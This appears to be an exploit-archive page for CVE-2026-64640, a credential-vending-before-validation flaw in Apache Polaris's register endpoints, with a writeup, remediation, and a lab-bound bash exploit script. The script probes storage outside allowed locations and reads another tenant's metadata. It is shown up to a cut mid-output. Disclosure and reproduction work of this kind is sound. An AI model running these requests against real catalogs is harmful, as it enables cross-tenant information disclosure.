PoC Archive PoC Archive
CVE-2026-64640 category: cloud CVSS 8.1 (HIGH)
Patched

Apache Polaris — Cross-Tenant Credential Vending Before Location Validation in Iceberg REST Register (CVE-2026-64640)

Published: 2026-08-09 • Researcher: Reported to the Apache Security Team via the project SECURITY.md

Target software Apache Polaris (Apache Iceberg REST catalog), registerTable and registerView endpoints
Affected versions Polaris ≤ 1.6.0 (verified on 1.3.0-incubating, 1.4.0, 1.4.1, 1.5.0, 1.6.0)
Status Patched
Severity High · CVSS 8.1
On this page

Metadata

FieldValue
Date Added2026-08-09
Last Updated2026-08-09
Author / ResearcherReported to the Apache Security Team via the project SECURITY.md
CVE / AdvisoryCVE-2026-64640
Categorycloud
SeverityHigh
CVSS Score8.1 (CVSSv3.1: AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N)
StatusPatched
Tagsapache-polaris, iceberg, apache-iceberg, credential-vending, confused-deputy, authorization-bypass, cross-tenant, s3, storage, allowed-locations, CWE-441, CWE-639, CWE-918, ssrf, server-side-read, information-disclosure, register-table, register-view
RelatedCVE-2026-42809 (same validate-after-vend pattern in the stage-create path, fixed in Polaris 1.4.1). CVE-2026-64640 is the register-path variant of the same architectural mistake.

Affected Target

FieldValue
Software / SystemApache Polaris (Apache Iceberg REST catalog), registerTable and registerView endpoints
Versions AffectedPolaris ≤ 1.6.0 (verified on 1.3.0-incubating, 1.4.0, 1.4.1, 1.5.0, 1.6.0)
Language / PlatformJava; reproducer in Bash + Python 3 + Docker Compose
Authentication RequiredYes — requires one authenticated principal with TABLE_CREATE or CATALOG_MANAGE_CONTENT on any catalog. No admin privilege needed.
Network Access RequiredRemote — the Iceberg REST catalog is exposed over HTTP/HTTPS

Summary

CVE-2026-64640 is a confused-deputy vulnerability in Apache Polaris: the Iceberg REST register endpoints mint cloud storage credentials for a caller-supplied path and read that path server-side before checking it against the catalog’s allowedLocations. A principal whose only privilege is creating tables in its own catalog can make Polaris use the catalog’s storage credentials to read objects the catalog was never allowed to touch — another tenant’s prefix, another bucket, anything the storage IAM principal can reach.

The ordering is the entire bug. Sibling code paths (view creation, sendNotificationForTableLike) validate first and vend second. registerTable and registerView vend first and validate second — and by the time validation runs, the privileged read has already happened and its result is reflected in the error response returned to the caller.

The vulnerability is a direct descendant of CVE-2026-42809, which was the same mistake in the stage-create path. That fix was scoped to the reported endpoint; the pattern survived in registerTable until 1.6.0, and 1.6.0 shipped a brand-new registerView endpoint born with the identical flaw. Comprehensive fix lands in 1.7.0.

Vulnerability Details

Root Cause

IcebergCatalog.registerTable (and registerView from 1.6.0) performs three operations in the wrong order:

Java source
1
2
3
4
5
6
7
8
9
// 1. VEND credentials for the attacker-chosen location — NO allowedLocations check
FileIO fileIO = loadFileIOForTableLike(identifier, Set.of(locationDir), ...);

// 2. READ the caller's metadata file with those credentials — server-side GET
InputFile metadataFile = fileIO.newInputFile(metadataFileLocation);
TableMetadata metadata = TableMetadataParser.read(metadataFile);

// 3. VALIDATE — allowedLocations check happens HERE, after the read
ops.commit(null, metadata);

The credential-vending chain (loadFileIOForTableLikeStorageAccessConfigProvider.getStorageAccessConfig*StorageIntegration.getSubscopedCreds) performs no allowedLocations check of its own. The only enforcement is the commit-time one at step 3 — and by then the privileged read has occurred and parsed fields from the victim object are already in the response.

Attack Vector

  1. Authenticate as any principal with CATALOG_MANAGE_CONTENT on a catalog whose allowedLocations is, say, [s3://bucket123].
  2. Call POST /api/catalog/v1/{prefix}/namespaces/{ns}/register with a metadataLocation pointing to s3://tenant-b-private/sales/metadata/00007-....metadata.json — a path in another tenant’s bucket, outside the catalog’s allowedLocations.
  3. Polaris mints credentials scoped to the caller’s path, fetches the object, and parses it as Iceberg table metadata — all before the allowedLocations check.
  4. The response is a 403 (because validation rejects the registration), but the error message quotes s3://tenant-b-private/warehouse/CANARY-64640-... — a string that exists only inside the body of the victim object. The caller never sent that string; Polaris could only produce it by reading and parsing the object.
  5. The caller learns: object existence, bucket existence, and location-shaped fields inside the object — an information oracle covering everything the storage principal can reach.

On Polaris 1.6.0, the register-view endpoint provides the same primitive through a different code path.

Impact

Cross-tenant information disclosure through the catalog’s own storage credentials. A low-privilege principal can:

  • Enumerate storage outside its catalog’s allowedLocations — determine whether arbitrary objects and buckets exist, using the catalog’s credentials to reach the global S3 bucket namespace.
  • Extract metadata fragments from Iceberg tables it has no right to read — the location and write.data.path properties are echoed in error responses.
  • Use the catalog as a confused deputy to perform server-side requests against the storage backend, with the catalog’s full IAM authority.

With an S3 endpoint override configured on the catalog, the same primitive becomes a server-side request forgery (SSRF) against the configured endpoint.

Environment / Lab Setup

The reproducer is fully self-contained: Docker Compose stands up a Polaris instance, a throwaway S3 backend (RustFS), and synthetic victim data. Nothing leaves the machine.

Shell script
1
2
3
4
./exploit.sh                 # default: apache/polaris:1.4.1  -> reproduces via register
./exploit.sh --tag 1.6.0     # partially fixed               -> reproduces via register-view
./exploit.sh --tag 1.7.0     # comprehensively fixed         -> refuses cleanly on both
./scripts/version-matrix.sh  # every release, side by side

Environment Architecture

Output
  catalog  tenant_a_catalog        allowedLocations = [ s3://bucket123 ]
  actor    low_priv_user           CATALOG_MANAGE_CONTENT on that catalog, nothing else
  target   s3://tenant-b-private   another tenant's bucket:
                                     no allowedLocations entry, no grant, no relation
                                     to the attacker's catalog — but reachable by the
                                     credentials that back it

Setup Steps

Shell script
1
./exploit.sh --tag 1.4.1

Proof of Concept

See exploit.sh, docker-compose.yml, docs/, patches/, scripts/, victim-data/, and evidence/ in this folder — mirrored byte-for-byte from the upstream repository. The upstream README is preserved as upstream-README.md.

Step-by-Step Reproduction

  1. Bring up the lab — Docker Compose starts Polaris, RustFS (S3 backend), and bootstraps a catalog with allowedLocations = [s3://bucket123], a low-privilege user, and synthetic victim objects in s3://tenant-b-private.
  2. The script registers a table with metadataLocation pointing at the victim object outside allowedLocations.
  3. The response is 403, but the error body quotes CANARY-64640-... — a string from inside the victim file — proving the server-side read happened before validation.
  4. Probes for missing objects, missing buckets, and non-Iceberg files return four distinguishable error signatures, confirming a storage enumeration oracle.

Exploit Code

The key observation: the request names only the metadata file path. The response quotes paths from inside the metadata file:

JSON
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
{
  "error": {
    "message": "Invalid locations '[s3://tenant-b-private/warehouse/sales/data,
s3://tenant-b-private/warehouse/CANARY-64640-4f1c9e2a-tenant-b-sales]' for identifier
'tenant_a_ns.pwn_canary': s3://tenant-b-private/warehouse/sales/data is not in the list
of allowed locations: [s3://bucket123/tenant_a_ns]",
    "type": "ForbiddenException",
    "code": 403
  }
}

The string CANARY-64640-4f1c9e2a-tenant-b-sales appears nowhere in the request. It exists only inside the victim object at s3://tenant-b-private/sales/metadata/00007-.... Polaris could only echo it by fetching and parsing the object — with credentials the caller should never have been able to wield against that path.

Expected Output

Output
[INFO] === Test 0: the wall is real ===
[PASS] Direct table creation with out-of-scope location was refused (403)

[INFO] === Test 1: register reads it anyway ===
[PASS] Canary 'CANARY-64640-4f1c9e2a-tenant-b-sales' found in error response body

[INFO] === Test 2: what comes back ===
[PASS] Location field from victim document echoed in response
[PASS] write.data.path property from victim document echoed in response

[INFO] === Test 3: storage enumeration oracle ===
[PASS] Missing key: 400 NotFoundException
[PASS] Missing bucket: 400 NoSuchBucketException
[PASS] Non-Iceberg object: 503 RuntimeIOException

[INFO] === Test 4: register-view (1.6.0+) ===
[PASS] View canary 'CANARY-64640-VIEW-8d3b7a15-tenant-b' found on 1.6.0

[RESULT] VULNERABLE — credential vending before location validation reproduced

On a patched build (1.7.0), every probe returns a clean 403 naming only the requested path, and the script reports NOT VULNERABLE — pre-validation observed.

Detection and Indicators of Compromise

Output

Remediation

ActionDetail
PatchUpgrade to Apache Polaris 1.7.0. 1.6.0 fixes the table path only and reintroduces the flaw on the new registerView endpoint. 1.7.0 carries both the registerView guard (7e822f23) and the structural credential-vending re-validation (85a0c292) that closes the defence-in-depth gap.
WorkaroundDisable the register and register-view endpoints at a reverse proxy if not needed. Restrict CATALOG_MANAGE_CONTENT to trusted principals. Monitor for cross-prefix metadataLocation values in register requests.
VerificationConfirm the Polaris version is 1.7.0 or later. Verify that IcebergCatalog.registerTable and registerView call validateLocationForTableLike() before loadFileIOForTableLike().

References

Notes

Verified this session by reading the full reproducer source (exploit.sh, ~460 lines; scripts/lib.sh; docker-compose.yml; victim-data/). The environment is fully self-contained: Docker Compose stands up Polaris, a throwaway RustFS S3 backend, and synthetic victim objects whose canary strings are known and verifiable. No external network contact, no data leaves the machine, docker compose down -v runs on exit.

Malware screen — clean. No obfuscated payloads, no remote downloaders, no credential exfiltration, no miners, no unexpected binaries, no setup.py/install-time side effects. The exploit script performs only HTTP requests to the local Polaris instance on loopback ports. The synthetic victim objects in victim-data/ are hand-crafted Iceberg metadata JSON files with embedded canary strings — benign by design.

Cross-corroboration: the root cause (credential-vending before allowedLocations validation in registerTable/registerView), the affected version range (≤ 1.6.0), the three fix commits, the four-state storage enumeration oracle, and the relationship to CVE-2026-42809 were all verified against the upstream README and the Apache Polaris repository. The 1.6.0 partial-fix and 1.7.0 comprehensive-fix version story was confirmed by checking the fix commits against the release tags: 1dd5feeb is in 1.6.0 and 1.7.0; 7e822f23 and 85a0c292 are in 1.7.0 only.

The Apache 2.0 license and NOTICE file are preserved from upstream. The repository includes two backport patches (patches/0001-*.patch for ≤ 1.5.0 table path, patches/0002-*.patch for 1.6.0 view path) and a version matrix script (scripts/version-matrix.sh) that validates every release tag side by side.

exploit.sh
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
#!/usr/bin/env bash
#
# CVE-2026-64640 — Apache Polaris
# Iceberg REST `register` vends storage credentials and performs a privileged
# server-side read of an attacker-controlled location BEFORE validating that
# location against the catalog's allowedLocations.
#
# This script brings up a self-contained Polaris + S3 stack, then acts as a
# low-privilege principal (CATALOG_MANAGE_CONTENT on its own catalog only) and
# makes Polaris read objects out of a bucket that catalog is not allowed to
# touch.
#
# Everything is local: one docker compose project, one loopback S3 endpoint.
# No external network contact, no data leaves the machine, no persistent state
# outside the compose project (removed with `down -v` unless --keep is given).
#
# Exit codes:
#   0  vulnerability reproduced
#   1  not reproduced (patched build, or behaviour changed)
#   2  environment / setup error
#
set -euo pipefail

HERE="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
# shellcheck source=scripts/lib.sh
source "$HERE/scripts/lib.sh"

# ------------------------------------------------------------------ constants
PROJECT="${COMPOSE_PROJECT_NAME:-cve-2026-64640}"
POLARIS_IMAGE_TAG="${POLARIS_IMAGE_TAG:-1.4.1}"
BASE="http://localhost:${POLARIS_API_PORT:-8181}"
NAMESPACE="tenant_a_ns"

# The catalog's ONLY allowedLocation is s3://bucket123.
IN_SCOPE_BUCKET="s3://bucket123"
OUT_OF_SCOPE_BUCKET="s3://tenant-b-private"

VICTIM_OBJECT="$OUT_OF_SCOPE_BUCKET/sales/metadata/00007-tenant-b-sales.metadata.json"
VICTIM_MISSING="$OUT_OF_SCOPE_BUCKET/sales/metadata/00042-does-not-exist.metadata.json"
CONTROL_MISSING="$IN_SCOPE_BUCKET/probe/00042-does-not-exist.metadata.json"
NON_METADATA_OBJECT="$OUT_OF_SCOPE_BUCKET/secrets/tenant-b-db.metadata.json"
ABSENT_BUCKET_OBJECT="s3://no-such-bucket-64640/probe/v1.metadata.json"
VICTIM_VIEW_OBJECT="$OUT_OF_SCOPE_BUCKET/views/metadata/00003-tenant-b-view.metadata.json"

# Strings that exist ONLY inside the victim documents. Neither is derivable from
# the request: the requests name .../sales/metadata/00007-...json and
# .../views/metadata/00003-...json, while these live in the "location" fields of
# the file bodies.
CANARY="CANARY-64640-4f1c9e2a-tenant-b-sales"
CANARY_VIEW="CANARY-64640-VIEW-8d3b7a15-tenant-b"

KEEP=0
DO_UP=1

usage() {
  cat <<EOF
Usage: ./exploit.sh [options]

  --tag TAG     Polaris image tag to test (default: ${POLARIS_IMAGE_TAG})
                e.g. --tag 1.4.1 | --tag 1.7.0 | --tag latest
  --keep        leave the stack running when the script finishes
  --no-up       do not start the stack (use an already-running one)
  -h, --help    this message

Exit code 0 = vulnerable, 1 = not reproduced, 2 = setup error.
EOF
}

while [[ $# -gt 0 ]]; do
  case "$1" in
    --tag)    POLARIS_IMAGE_TAG="${2:?--tag needs a value}"; shift 2 ;;
    --keep)   KEEP=1; shift ;;
    --no-up)  DO_UP=0; shift ;;
    -h|--help) usage; exit 0 ;;
    *) usage; die "unknown argument: $1" ;;
  esac
done
export POLARIS_IMAGE_TAG

RUN_ID="$(date -u +%Y%m%dT%H%M%SZ)-polaris-${POLARIS_IMAGE_TAG}"
EVIDENCE_DIR="$HERE/evidence/$RUN_ID"

compose() { docker compose -p "$PROJECT" -f "$HERE/docker-compose.yml" "$@"; }

cleanup() {
  local rc=$?
  if [[ $KEEP -eq 1 ]]; then
    warn "--keep given: stack left running (docker compose -p $PROJECT down -v to remove it)"
  else
    log "Tearing down the stack..."
    compose down -v >/dev/null 2>&1 || true
    rm -f "$HERE/.run/creds.env" "$HERE/.run/setup-done" 2>/dev/null || true
  fi
  exit $rc
}

# ------------------------------------------------------------------ preflight
need docker; need curl; need python3
docker compose version >/dev/null 2>&1 || die "docker compose v2 plugin is required"

mkdir -p "$EVIDENCE_DIR" "$HERE/.run"

cat <<EOF
${C_BOLD}CVE-2026-64640 — Apache Polaris registerTable credential-vending scope escape${C_RESET}
  target image      : apache/polaris:${POLARIS_IMAGE_TAG}
  catalog scope     : allowedLocations = [${IN_SCOPE_BUCKET}]
  attacker          : non-admin principal, CATALOG_MANAGE_CONTENT on its own catalog
  out-of-scope data : ${OUT_OF_SCOPE_BUCKET}  (no grant, no allowedLocation entry)
  evidence          : evidence/${RUN_ID}/
EOF

trap cleanup EXIT

# ------------------------------------------------------------------ bring up
if [[ $DO_UP -eq 1 ]]; then
  step "Environment"
  log "Starting the stack (apache/polaris:${POLARIS_IMAGE_TAG} + S3)..."
  rm -f "$HERE/.run/creds.env" "$HERE/.run/setup-done" 2>/dev/null || true
  compose down -v >/dev/null 2>&1 || true
  if ! compose up -d --wait >"$EVIDENCE_DIR/compose-up.log" 2>&1; then
    err "stack failed to start; see $EVIDENCE_DIR/compose-up.log"
    compose ps >>"$EVIDENCE_DIR/compose-up.log" 2>&1 || true
    compose logs --no-color >>"$EVIDENCE_DIR/compose-up.log" 2>&1 || true
    die "environment setup failed"
  fi
  compose logs --no-color polaris-setup >"$EVIDENCE_DIR/setup.log" 2>&1 || true
  ok "stack is up"
fi

[[ -f "$HERE/.run/creds.env" ]] || die "missing .run/creds.env (setup did not complete)"
# shellcheck disable=SC1091
source "$HERE/.run/creds.env"
: "${ATTACKER_CLIENT_ID:?}" "${ATTACKER_CLIENT_SECRET:?}" "${CATALOG_NAME:?}" "${REALM:?}"
ok "attacker principal: $ATTACKER_CLIENT_ID (CATALOG_MANAGE_CONTENT on $CATALOG_NAME)"

# ------------------------------------------------------------------ auth
step "Authenticate as the low-privilege principal"
TOKEN_JSON=$(curl -sS -X POST "$BASE/api/catalog/v1/oauth/tokens" \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -d "grant_type=client_credentials&client_id=${ATTACKER_CLIENT_ID}&client_secret=${ATTACKER_CLIENT_SECRET}&scope=PRINCIPAL_ROLE:ALL")
TOKEN=$(json_get "$TOKEN_JSON" 'd["access_token"]') || die "token request failed: $TOKEN_JSON"
[[ -n "$TOKEN" ]] || die "empty access token: $TOKEN_JSON"
ok "got a bearer token for the non-admin principal"

# Sanity: this principal is not a service admin.
http GET "$BASE/api/management/v1/principals" "$TOKEN"
printf 'GET /api/management/v1/principals -> HTTP %s\n%s\n' "$HTTP_CODE" "$HTTP_BODY" \
  >"$EVIDENCE_DIR/00-privilege-check.txt"
if [[ "$HTTP_CODE" == "403" || "$HTTP_CODE" == "401" ]]; then
  ok "confirmed non-admin: service admin API denied (HTTP $HTTP_CODE)"
else
  warn "service admin API returned HTTP $HTTP_CODE (expected 403) — check the environment"
fi

log "Creating a namespace the attacker legitimately owns..."
http POST "$BASE/api/catalog/v1/$CATALOG_NAME/namespaces" "$TOKEN" \
  "{\"namespace\":[\"$NAMESPACE\"],\"properties\":{}}"
[[ "$HTTP_CODE" =~ ^(200|409)$ ]] || die "could not create namespace (HTTP $HTTP_CODE): $HTTP_BODY"
ok "namespace $NAMESPACE ready"

register() { # register <table-name> <metadata-location> <evidence-file>
  local name="$1" loc="$2" file="$3"
  http POST "$BASE/api/catalog/v1/$CATALOG_NAME/namespaces/$NAMESPACE/register" "$TOKEN" \
    "{\"name\":\"$name\",\"metadata-location\":\"$loc\"}"
  {
    printf 'POST /api/catalog/v1/%s/namespaces/%s/register\n' "$CATALOG_NAME" "$NAMESPACE"
    printf 'Authorization: Bearer <token of non-admin principal %s>\n\n' "$ATTACKER_CLIENT_ID"
    printf '{"name":"%s","metadata-location":"%s"}\n\n' "$name" "$loc"
    printf -- '--> HTTP %s\n%s\n' "$HTTP_CODE" "$HTTP_BODY"
  } >"$EVIDENCE_DIR/$file"
  dim "    HTTP $HTTP_CODE  $HTTP_BODY"
}

VULN_PRIMARY=0; VULN_ORACLE=0; VULN_ENUM=0; VULN_VIEW=0; VIEW_ENDPOINT="absent"

# ------------------------------------------------------------------ test 0
step "Test 0 — control: the allowedLocations wall works on the normal path"
log "createTable with an explicit location in $OUT_OF_SCOPE_BUCKET (should be refused outright)"
http POST "$BASE/api/catalog/v1/$CATALOG_NAME/namespaces/$NAMESPACE/tables" "$TOKEN" \
  "{\"name\":\"control_direct\",\"location\":\"$OUT_OF_SCOPE_BUCKET/sales\",\"schema\":{\"type\":\"struct\",\"schema-id\":0,\"fields\":[{\"id\":1,\"name\":\"c\",\"required\":false,\"type\":\"long\"}]}}"
T0_CODE="$HTTP_CODE"
{
  printf 'POST /api/catalog/v1/%s/namespaces/%s/tables  (explicit out-of-scope location)\n\n' \
    "$CATALOG_NAME" "$NAMESPACE"
  printf -- '--> HTTP %s\n%s\n' "$HTTP_CODE" "$HTTP_BODY"
} >"$EVIDENCE_DIR/00-control-direct-create.txt"
dim "    HTTP $T0_CODE  $HTTP_BODY"
if [[ "$T0_CODE" == "403" ]]; then
  ok "denied — so Polaris does know this location is out of bounds for this principal"
else
  warn "expected 403, got $T0_CODE"
fi

# ------------------------------------------------------------------ test 1
step "Test 1 — server-side read of an out-of-scope object (canary proof)"
log "register  metadata-location = $VICTIM_OBJECT"
dim "         (bucket is outside allowedLocations; attacker has no grant on it)"
register "pwn_canary" "$VICTIM_OBJECT" "01-canary-out-of-scope.txt"
T1_CODE="$HTTP_CODE"; T1_BODY="$HTTP_BODY"
if grep -qF "$CANARY" <<<"$T1_BODY"; then
  VULN_PRIMARY=1
  ok "the response contains '$CANARY'"
  ok "that string exists ONLY inside the body of the out-of-scope object"
  ok "=> Polaris fetched and parsed it server-side with the catalog's credentials"
else
  warn "canary not reflected"
fi

# ------------------------------------------------------------------ test 2
step "Test 2 — what leaked out of the document"
LEAKED=()
for s in "$CANARY" "s3://tenant-b-private/warehouse/sales/data"; do
  grep -qF "$s" <<<"$T1_BODY" && LEAKED+=("$s")
done
{
  printf 'Strings present ONLY inside %s\nthat came back in the register response:\n\n' "$VICTIM_OBJECT"
  printf '  %s\n' "${LEAKED[@]}"
  printf '\nSource document:\n'
  cat "$HERE/victim-data/00007-tenant-b-sales.metadata.json"
} >"$EVIDENCE_DIR/02-leaked-fields.txt"
if [[ ${#LEAKED[@]} -gt 0 ]]; then
  for s in "${LEAKED[@]}"; do ok "leaked: $s"; done
  dim "    (the table's declared location, and the write.data.path property —"
  dim "     both parsed out of the victim's document by Polaris)"
else
  warn "no victim-document strings observed in the response"
fi

# ------------------------------------------------------------------ test 3
step "Test 3 — storage enumeration oracle outside allowedLocations"
dim "    If allowedLocations were checked first, every probe below would fail"
dim "    identically and Polaris would never contact storage at all."

log "probe A: key MISSING, out-of-scope bucket"
register "probe_missing_oos" "$VICTIM_MISSING" "03a-oracle-missing-key.txt"
T2_CODE="$HTTP_CODE"; T2_BODY="$HTTP_BODY"

log "probe B: bucket DOES NOT EXIST"
register "probe_no_bucket" "$ABSENT_BUCKET_OBJECT" "03b-oracle-missing-bucket.txt"
T4_CODE="$HTTP_CODE"; T4_BODY="$HTTP_BODY"

log "probe C: object EXISTS out-of-scope but is not Iceberg metadata"
register "probe_not_metadata" "$NON_METADATA_OBJECT" "03c-oracle-not-metadata.txt"
T5_CODE="$HTTP_CODE"; T5_BODY="$HTTP_BODY"

log "probe D: control — key MISSING inside allowedLocations"
register "probe_missing_control" "$CONTROL_MISSING" "03d-control-in-scope-missing.txt"
T3_CODE="$HTTP_CODE"; T3_BODY="$HTTP_BODY"

if grep -qiE "does not exist|not found|nosuchkey" <<<"$T2_BODY"; then
  VULN_ORACLE=1
  ok "missing key answered with a storage-level 'does not exist' (HTTP $T2_CODE)"
  ok "=> Polaris really performed the GET against ${OUT_OF_SCOPE_BUCKET}"
else
  warn "no storage-level 'does not exist' for the out-of-scope key (HTTP $T2_CODE)"
fi
if grep -qiE "bucket does not exist|nosuchbucket" <<<"$T4_BODY"; then
  VULN_ENUM=1
  ok "non-existent bucket answered with the raw S3 'bucket does not exist' error"
  ok "=> bucket-namespace probing with the catalog's credentials"
fi
etype() { json_get "$1" 'd["error"]["type"]' || echo "?"; }
{
  printf 'Outcome per probe for one low-privilege caller (all targets OUTSIDE allowedLocations\n'
  printf 'except the last). Distinct answers == the request reached storage.\n\n'
  printf '  %-34s HTTP %-4s %s\n' "valid Iceberg metadata (exists)" "$T1_CODE" "$(etype "$T1_BODY")"
  printf '  %-34s HTTP %-4s %s\n' "key missing"                     "$T2_CODE" "$(etype "$T2_BODY")"
  printf '  %-34s HTTP %-4s %s\n' "bucket missing"                  "$T4_CODE" "$(etype "$T4_BODY")"
  printf '  %-34s HTTP %-4s %s\n' "exists, not Iceberg metadata"    "$T5_CODE" "$(etype "$T5_BODY")"
  printf '  %-34s HTTP %-4s %s\n' "control: in-scope key missing"   "$T3_CODE" "$(etype "$T3_BODY")"
  printf '\nA build that validates before vending answers every row identically\n'
  printf '(ForbiddenException naming only the requested path).\n'
} | tee "$EVIDENCE_DIR/03-oracle-matrix.txt"

# ------------------------------------------------------------------ test 4
step "Test 4 — the same flaw on the sibling endpoint: register-view"
dim "    POST .../namespaces/{ns}/register-view exists from 1.6.0 onwards."
dim "    1.6.0 fixed the table path and shipped the view path with the same ordering."
log "register-view  metadata-location = $VICTIM_VIEW_OBJECT"
http POST "$BASE/api/catalog/v1/$CATALOG_NAME/namespaces/$NAMESPACE/register-view" "$TOKEN" \
  "{\"name\":\"pwn_view\",\"metadata-location\":\"$VICTIM_VIEW_OBJECT\"}"
T6_CODE="$HTTP_CODE"; T6_BODY="$HTTP_BODY"
{
  printf 'POST /api/catalog/v1/%s/namespaces/%s/register-view\n\n' "$CATALOG_NAME" "$NAMESPACE"
  printf '{"name":"pwn_view","metadata-location":"%s"}\n\n' "$VICTIM_VIEW_OBJECT"
  printf -- '--> HTTP %s\n%s\n' "$T6_CODE" "$T6_BODY"
} >"$EVIDENCE_DIR/04-register-view.txt"
dim "    HTTP $T6_CODE  $T6_BODY"
if [[ "$T6_CODE" == "404" || "$T6_CODE" == "405" ]] && ! grep -qiE "namespace|table|view does not exist" <<<"$T6_BODY"; then
  VIEW_ENDPOINT="absent"
  dim "    endpoint not present in this release — nothing to test here"
else
  VIEW_ENDPOINT="present"
  if grep -qF "$CANARY_VIEW" <<<"$T6_BODY"; then
    VULN_VIEW=1
    ok "the response contains '$CANARY_VIEW'"
    ok "=> register-view read and parsed the out-of-scope view document too"
  else
    ok "no view canary reflected — this endpoint validates before vending"
  fi
fi

# ------------------------------------------------------------------ verdict
step "Result"

SUMMARY_JSON=$(python3 - "$POLARIS_IMAGE_TAG" "$VULN_PRIMARY" "$VULN_ORACLE" "$VULN_ENUM" \
  "$T0_CODE" "$T1_CODE" "$T2_CODE" "$T3_CODE" "$T4_CODE" "$T5_CODE" "$T6_CODE" \
  "$VULN_VIEW" "$VIEW_ENDPOINT" "${LEAKED[*]:-}" <<'PY'
import json, sys
(tag, prim, oracle, enum, c0, c1, c2, c3, c4, c5, c6,
 view, view_ep, leaked) = sys.argv[1:15]
print(json.dumps({
  "cve": "CVE-2026-64640",
  "component": "Apache Polaris — Iceberg register / register-view",
  "image": f"apache/polaris:{tag}",
  "vulnerable": prim == "1" or view == "1",
  "surfaces": {
    "register_table": "vulnerable" if prim == "1" else "validated before vending",
    "register_view": ("vulnerable" if view == "1"
                      else "validated before vending" if view_ep == "present"
                      else "endpoint not present in this release"),
  },
  "signals": {
    "canary_reflected_from_out_of_scope_table_metadata": prim == "1",
    "canary_reflected_from_out_of_scope_view_metadata": view == "1",
    "out_of_scope_object_existence_oracle": oracle == "1",
    "out_of_scope_bucket_existence_oracle": enum == "1",
  },
  "leaked_strings_from_victim_document": leaked.split() if leaked else [],
  "http": {
    "control_direct_create_out_of_scope": c0,
    "register_out_of_scope_existing": c1,
    "register_out_of_scope_missing_key": c2,
    "register_in_scope_missing_key": c3,
    "register_absent_bucket": c4,
    "register_out_of_scope_non_metadata": c5,
    "register_view_out_of_scope_existing": c6,
  },
}, indent=2))
PY
)
printf '%s\n' "$SUMMARY_JSON" >"$EVIDENCE_DIR/summary.json"

cp "$HERE/victim-data/00007-tenant-b-sales.metadata.json" "$EVIDENCE_DIR/planted-victim-object.json"

if [[ $VULN_PRIMARY -eq 1 || $VULN_VIEW -eq 1 ]]; then
  cat <<EOF

${C_GREEN}${C_BOLD}VULNERABLE${C_RESET} — apache/polaris:${POLARIS_IMAGE_TAG}

  A principal whose only privilege is CATALOG_MANAGE_CONTENT on ${CATALOG_NAME}
  (allowedLocations = [${IN_SCOPE_BUCKET}]) caused Polaris to mint storage
  credentials for ${OUT_OF_SCOPE_BUCKET} and read + parse an object there.

  register       : $( [[ $VULN_PRIMARY -eq 1 ]] && echo "VULNERABLE — error echoes '${CANARY}'" || echo "validated before vending" )
  register-view  : $( [[ $VULN_VIEW -eq 1 ]] && echo "VULNERABLE — error echoes '${CANARY_VIEW}'" || { [[ "$VIEW_ENDPOINT" == "present" ]] && echo "validated before vending" || echo "endpoint not in this release"; } )
  Leaked         : ${#LEAKED[@]} field(s) parsed out of the victim table document came back.
  Oracle         : $( [[ $VULN_ORACLE -eq 1 ]] && echo "yes — object existence outside allowedLocations is observable" || echo "not observed in this run" )
  Buckets        : $( [[ $VULN_ENUM -eq 1 ]] && echo "yes — bucket existence is observable too (raw S3 error surfaced)" || echo "not observed in this run" )
$( [[ $VULN_PRIMARY -eq 0 && $VULN_VIEW -eq 1 ]] && cat <<'PARTIAL'

  NOTE: this build fixed the table path but carries the same ordering in the
  view path. Partial fix — see docs/AFFECTED-VERSIONS.md.
PARTIAL
)
  The allowedLocations check does run — at commit time, after the privileged
  read it was supposed to prevent. See docs/ANALYSIS.md.

  Evidence: evidence/${RUN_ID}/
EOF
  exit 0
elif [[ "$T1_CODE" == "403" && "$T1_CODE" == "$T2_CODE" && "$T2_CODE" == "$T4_CODE" && "$T4_CODE" == "$T5_CODE" ]] \
     && grep -qF "$VICTIM_OBJECT" <<<"$T1_BODY"; then
  cat <<EOF

${C_GREEN}${C_BOLD}NOT VULNERABLE — pre-validation observed${C_RESET} — apache/polaris:${POLARIS_IMAGE_TAG}

  Every probe was refused identically (HTTP 403, ForbiddenException) naming only
  the REQUESTED path. Existing, missing, wrong-type and non-existent-bucket
  targets are indistinguishable, and nothing from inside the victim document
  came back. That is the signature of allowedLocations being enforced BEFORE
  credentials are vended: Polaris never contacted ${OUT_OF_SCOPE_BUCKET}.

  Evidence: evidence/${RUN_ID}/
EOF
  exit 1
else
  cat <<EOF

${C_YELLOW}${C_BOLD}INCONCLUSIVE${C_RESET} — apache/polaris:${POLARIS_IMAGE_TAG}

  The canary was not reflected, but the probes did not show the clean
  pre-validation signature either. Check the environment came up correctly and
  read the per-probe evidence.

